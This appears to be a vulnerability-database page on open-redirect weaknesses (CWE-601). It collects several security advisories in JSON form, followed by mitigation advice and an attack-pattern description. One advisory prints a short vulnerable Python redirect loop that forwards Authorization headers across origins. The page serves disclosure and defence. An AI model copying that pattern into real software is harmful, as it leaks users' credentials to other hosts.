    "github_reviewed_at": "2026-07-20T23:22:22Z",
    "nvd_published_at": "2026-07-27T21:17:05Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nWith `trailingSlash: \u0027always\u0027` configured, the `@astrojs/node` standalone server\u0027s static file handler appends a trailing slash to request paths and issues a `301` redirect. Paths beginning with `/\\` (slash-backslash) were not recognized as internal paths, so the handler would echo the raw path back in the `Location` header. Because browsers treat `\\` as `/` per the WHATWG URL specification, the resulting redirect could resolve to an external host.\n\n**Preconditions:**\n- `trailingSlash: \u0027always\u0027` must be set (non-default; the default is `\u0027ignore\u0027`)\n- The request path must not have a file extension in its final segment\n- An attacker must deliver the crafted link to a user\n\n### Patches\n\nFixed by treating backslash-prefixed paths the same as `//`-prefixed paths in `isInternalPath()`, so they are no longer rewritten with a trailing slash.\n\n### Workarounds\n\nUse the default `trailingSlash: \u0027ignore\u0027` setting, which does not issue trailing-slash redirects in the static file handler.\n\n### References\n\n- [WHATWG URL spec: backslash normalization](https://url.spec.whatwg.org/#url-parsing)",
  "id": "GHSA-r557-wffq-wvrc",
  "modified": "2026-08-12T20:37:34Z",
  "published": "2026-07-20T23:22:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-r557-wffq-wvrc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/17252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/eb6f97e391ee587747e37609c255c7cd4b9cce3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/@astrojs/node@11.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@astrojs/node: Backslash-prefixed paths not recognized as internal by trailing-slash redirect"
}

GHSA-R563-XVMH-2Q4X

Vulnerability from github – Published: 2022-05-14 04:03 – Updated: 2022-05-14 04:03
VLAI
Details

IBM Maximo Asset Management 7.5 and 7.6 could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim. IBM X-Force ID: 131548.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-1558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-13T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Maximo Asset Management 7.5 and 7.6 could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim. IBM X-Force ID: 131548.",
  "id": "GHSA-r563-xvmh-2q4x",
  "modified": "2022-05-14T04:03:37Z",
  "published": "2022-05-14T04:03:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1558"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/131548"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg22010595"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102211"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R58V-FQQP-24P8

Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14
VLAI
Details

With X-Pack installed, Kibana versions before 5.3.1 have an open redirect vulnerability on the login page that would enable an attacker to craft a link that redirects to an arbitrary website.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-8451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-16T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "With X-Pack installed, Kibana versions before 5.3.1 have an open redirect vulnerability on the login page that would enable an attacker to craft a link that redirects to an arbitrary website.",
  "id": "GHSA-r58v-fqqp-24p8",
  "modified": "2022-05-13T01:14:31Z",
  "published": "2022-05-13T01:14:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8451"
    },
    {
      "type": "WEB",
      "url": "https://www.elastic.co/community/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5C5-3WHR-QFRR

Vulnerability from github – Published: 2023-01-22 03:30 – Updated: 2024-03-21 03:34
VLAI
Details

A Host Header Injection issue on the Login page of Plesk Obsidian through 18.0.49 allows attackers to redirect users to malicious websites via a Host request header.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-24044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-22T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A Host Header Injection issue on the Login page of Plesk Obsidian through 18.0.49 allows attackers to redirect users to malicious websites via a Host request header.",
  "id": "GHSA-r5c5-3whr-qfrr",
  "modified": "2024-03-21T03:34:38Z",
  "published": "2023-01-22T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24044"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/TJetnipat/02b3854543b7ec95d54a8de811f2e8ae"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40jetnipat.tho/cve-2023-24044-10e48ab940d8"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@jetnipat.tho/cve-2023-24044-10e48ab940d8"
    },
    {
      "type": "WEB",
      "url": "https://support.plesk.com/hc/en-us/articles/10254625170322-Vulnerability-CVE-2023-24044"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5HP-6MXM-95XH

Vulnerability from github – Published: 2025-01-27 21:30 – Updated: 2025-01-28 21:31
VLAI
Details

An issue in Kingsoft Office Software Corporation Limited WPS Office iOS 12.20.0 allows attackers to access sensitive user information via supplying a crafted link.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-27T19:15:17Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Kingsoft Office Software Corporation Limited WPS Office iOS 12.20.0 allows attackers to access sensitive user information via supplying a crafted link.",
  "id": "GHSA-r5hp-6mxm-95xh",
  "modified": "2025-01-28T21:31:02Z",
  "published": "2025-01-27T21:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56957"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZhouZiyi1/Vuls/blob/main/241222-WPSOffice/241222-WPSOffice.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5PM-523H-5X7Q

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30
VLAI
Details

action/cookie.php in ecrire in SPIP before 4.4.15 is prone to an open redirect vulnerability.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-48832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-24T23:16:57Z",
    "severity": "LOW"
  },
  "details": "action/cookie.php in ecrire in SPIP before 4.4.15 is prone to an open redirect vulnerability.",
  "id": "GHSA-r5pm-523h-5x7q",
  "modified": "2026-05-26T13:30:36Z",
  "published": "2026-05-26T13:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48832"
    },
    {
      "type": "WEB",
      "url": "https://blog.spip.net/Mise-a-jour-de-securite-sortie-de-SPIP-4-4-15.html?lang=fr"
    },
    {
      "type": "WEB",
      "url": "https://git.spip.net/spip/ecrire/-/commit/a22cb8a56f1e37ff3854b73ff3f66aa3df47070a"
    },
    {
      "type": "WEB",
      "url": "https://git.spip.net/spip/spip/-/commit/75629034697ab52a963a340afd10930407e1cd55"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5VV-FF45-PRP2

Vulnerability from github – Published: 2026-07-28 21:32 – Updated: 2026-07-28 21:32
VLAI
Summary
datamodel-code-generator: Authorization / request headers leaked to cross-origin redirect target when fetching remote schemas
Details

Summary

When datamodel-code-generator fetches a remote schema and follows an HTTP redirect, it re-sends the original request headers, including any Authorization header, to the redirect target even when the redirect changes origin (host/port/scheme). Credentials that an operator scoped to a trusted schema host are therefore forwarded to an attacker-controlled or otherwise different host, leaking them.

Details

In src/datamodel_code_generator/http.py, get_body() follows redirects manually and re-issues each hop with the same headers argument, with no check that the origin is unchanged:

for redirect_count in range(MAX_HTTP_REDIRECTS + 1):
    _validate_url_for_fetch(current_url, allow_private_network=allow_private_network)
    response = httpx.get(current_url, headers=headers, follow_redirects=False, ...)  # same headers every hop
    if (redirect_url := _get_redirect_url(httpx, current_url, response)) is None:
        break
    current_url = redirect_url

Browsers and HTTP clients such as requests/httpx strip Authorization when a redirect crosses origin; here it is preserved unconditionally. Headers are operator-supplied via --http-headers (and credentials can also arrive through --url userinfo), so a redirect from the trusted host to any other host discloses them.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/ade3035d7f2be95e16f11698259cdbc2
Host A (the trusted schema host) 302-redirects to host B (a different origin) which records received headers; the request carries an auth token scoped to A.

(The PoC uses loopback servers; allow_private_network=True is only to avoid the separate SSRF guard blocking loopback and has no bearing on the leak.)

Impact

Exposure of sensitive information to an unauthorized actor (CWE-200). Affects operators who pass authentication headers/credentials to fetch a remote schema (--http-headers, --url with userinfo) when the configured host issues a redirect to a different origin — e.g. a compromised or open-redirect-prone schema host, or a redirect chain influenced by an attacker-supplied $ref. The leaked credential can then be replayed against the trusted host. This is a credential-scoping weakness secondary to, and in the same component as, the project's other SSRF hardening.

Suggested remediation

When a redirect changes the origin (scheme/host/port), drop Authorization and other sensitive headers before following it, matching the behavior of mainstream HTTP clients.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-r5vv-ff45-prp2/pull/1

Fix summary: strip Authorization, Cookie, and Proxy-Authorization headers when a redirect crosses origin; preserve headers for same-origin redirects.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for the redirect regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.62.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.63.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:32:08Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nWhen `datamodel-code-generator` fetches a remote schema and follows an HTTP redirect, it re-sends the original request headers, including any `Authorization` header, to the redirect target even when the redirect changes origin (host/port/scheme). Credentials that an operator scoped to a trusted schema host are therefore forwarded to an attacker-controlled or otherwise different host, leaking them.\n\n### Details\n\nIn `src/datamodel_code_generator/http.py`, `get_body()` follows redirects manually and re-issues each hop with the same `headers` argument, with no check that the origin is unchanged:\n\n```python\nfor redirect_count in range(MAX_HTTP_REDIRECTS + 1):\n    _validate_url_for_fetch(current_url, allow_private_network=allow_private_network)\n    response = httpx.get(current_url, headers=headers, follow_redirects=False, ...)  # same headers every hop\n    if (redirect_url := _get_redirect_url(httpx, current_url, response)) is None:\n        break\n    current_url = redirect_url\n```\n\nBrowsers and HTTP clients such as `requests`/`httpx` strip `Authorization` when a redirect crosses origin; here it is preserved unconditionally. Headers are operator-supplied via `--http-headers` (and credentials can also arrive through `--url` userinfo), so a redirect from the trusted host to any other host discloses them.\n\n### PoC\n\nSelf-contained reproducer: https://gist.github.com/thegr1ffyn/ade3035d7f2be95e16f11698259cdbc2  \nHost A (the trusted schema host) 302-redirects to host B (a different origin) which records received headers; the request carries an auth token scoped to A. \n\n(The PoC uses loopback servers; `allow_private_network=True` is only to avoid the separate SSRF guard blocking loopback and has no bearing on the leak.)\n\n### Impact\n\nExposure of sensitive information to an unauthorized actor (CWE-200). Affects operators who pass authentication headers/credentials to fetch a remote schema (`--http-headers`, `--url` with userinfo) when the configured host issues a redirect to a different origin \u2014 e.g. a compromised or open-redirect-prone schema host, or a redirect chain influenced by an attacker-supplied `$ref`. The leaked credential can then be replayed against the trusted host. This is a credential-scoping weakness secondary to, and in the same component as, the project\u0027s other SSRF hardening.\n\n### Suggested remediation\n\nWhen a redirect changes the origin (scheme/host/port), drop `Authorization` and other sensitive headers before following it, matching the behavior of mainstream HTTP clients.\n\n### Maintainer status\n\nConfirmed by maintainer review and regression tests. The private fix PR was merged and released in `0.63.0`: https://github.com/koxudaxi/datamodel-code-generator-ghsa-r5vv-ff45-prp2/pull/1\n\nFix summary: strip `Authorization`, `Cookie`, and `Proxy-Authorization` headers when a redirect crosses origin; preserve headers for same-origin redirects.\n\nRelease status: fixed in `0.63.0`; `0.62.0` and earlier are affected.\n\nValidation: `uv run --group test --extra http pytest tests/test_http.py` passed locally for the redirect regression coverage; `uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py` passed.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-r5vv-ff45-prp2",
  "modified": "2026-07-28T21:32:08Z",
  "published": "2026-07-28T21:32:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-r5vv-ff45-prp2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/a585c037c8307b7aae815de193b7fe1c4c44994b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.63.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "datamodel-code-generator: Authorization / request headers leaked to cross-origin redirect target when fetching remote schemas"
}

GHSA-R63R-PWWP-JVJ8

Vulnerability from github – Published: 2025-03-11 15:31 – Updated: 2025-03-21 21:31
VLAI
Details

In Zucchetti Ad Hoc Infinity 2.4, an improper check on the m_cURL parameter allows an attacker to redirect the victim to an attacker-controlled website after the authentication.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-51321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T15:15:42Z",
    "severity": "HIGH"
  },
  "details": "In Zucchetti Ad Hoc Infinity 2.4, an improper check on the m_cURL parameter allows an attacker to redirect the victim to an attacker-controlled website after the authentication.",
  "id": "GHSA-r63r-pwwp-jvj8",
  "modified": "2025-03-21T21:31:38Z",
  "published": "2025-03-11T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51321"
    },
    {
      "type": "WEB",
      "url": "https://members.backbox.org/zucchetti-ad-hoc-infinity-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R67R-42WX-C8R7

Vulnerability from github – Published: 2024-05-15 20:52 – Updated: 2024-05-15 20:52
VLAI
Summary
Drupal External URL injection through URL aliases leading to Open Redirect
Details

The path module in Drupal allows users with the 'administer paths' to create pretty URLs for content. In certain circumstances the user can enter a particular path that triggers an open redirect to a malicious url.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/drupal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0"
            },
            {
              "fixed": "7.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/drupal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/drupal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.6.0"
            },
            {
              "fixed": "8.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-15T20:52:43Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The path module in Drupal allows users with the \u0027administer paths\u0027 to create pretty URLs for content.\nIn certain circumstances the user can enter a particular path that triggers an open redirect to a malicious url.",
  "id": "GHSA-r67r-42wx-c8r7",
  "modified": "2024-05-15T20:52:44Z",
  "published": "2024-05-15T20:52:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/drupal/2018-10-17-2.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/drupal/drupal"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-core-2018-006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Drupal External URL injection through URL aliases leading to Open Redirect"
}
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Use a list of approved URLs or domains to be used for redirection.
Mitigation
Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Mitigation MIT-21.2
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-178: Cross-Site Flashing

An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.

← Back to the CWE list